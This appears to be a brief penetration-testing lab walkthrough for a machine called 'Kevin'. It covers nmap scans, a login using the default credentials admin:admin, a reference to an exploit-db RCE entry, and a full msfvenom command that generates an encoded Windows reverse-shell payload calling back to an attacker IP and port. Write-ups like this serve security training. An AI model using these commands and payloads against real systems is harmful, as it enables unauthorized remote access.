Kevin

Nmap

sudo nmap -Pn -n 192.168.132.45 -sC -sV -p- --min-rate=10000 --open

Run a vulnerable script to check if smb is vulnerable

sudo nmap -sVC -vvv 192.168.132.45 --script vuln

HTTP - 80

We get to a login page and the default credentials admin:admin get us in.

If we look around we get the version / build number and a google search will tell us its vulnerable to RCE

https://www.exploit-db.com/exploits/10099

We need to replace the bad char with our own

 msfvenom -p windows/shell_reverse_tcp -b '\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a' LHOST=192.168.45.238 LPORT=4444 -e x86/alpha_mixed -f c

Run it again

And we get a shell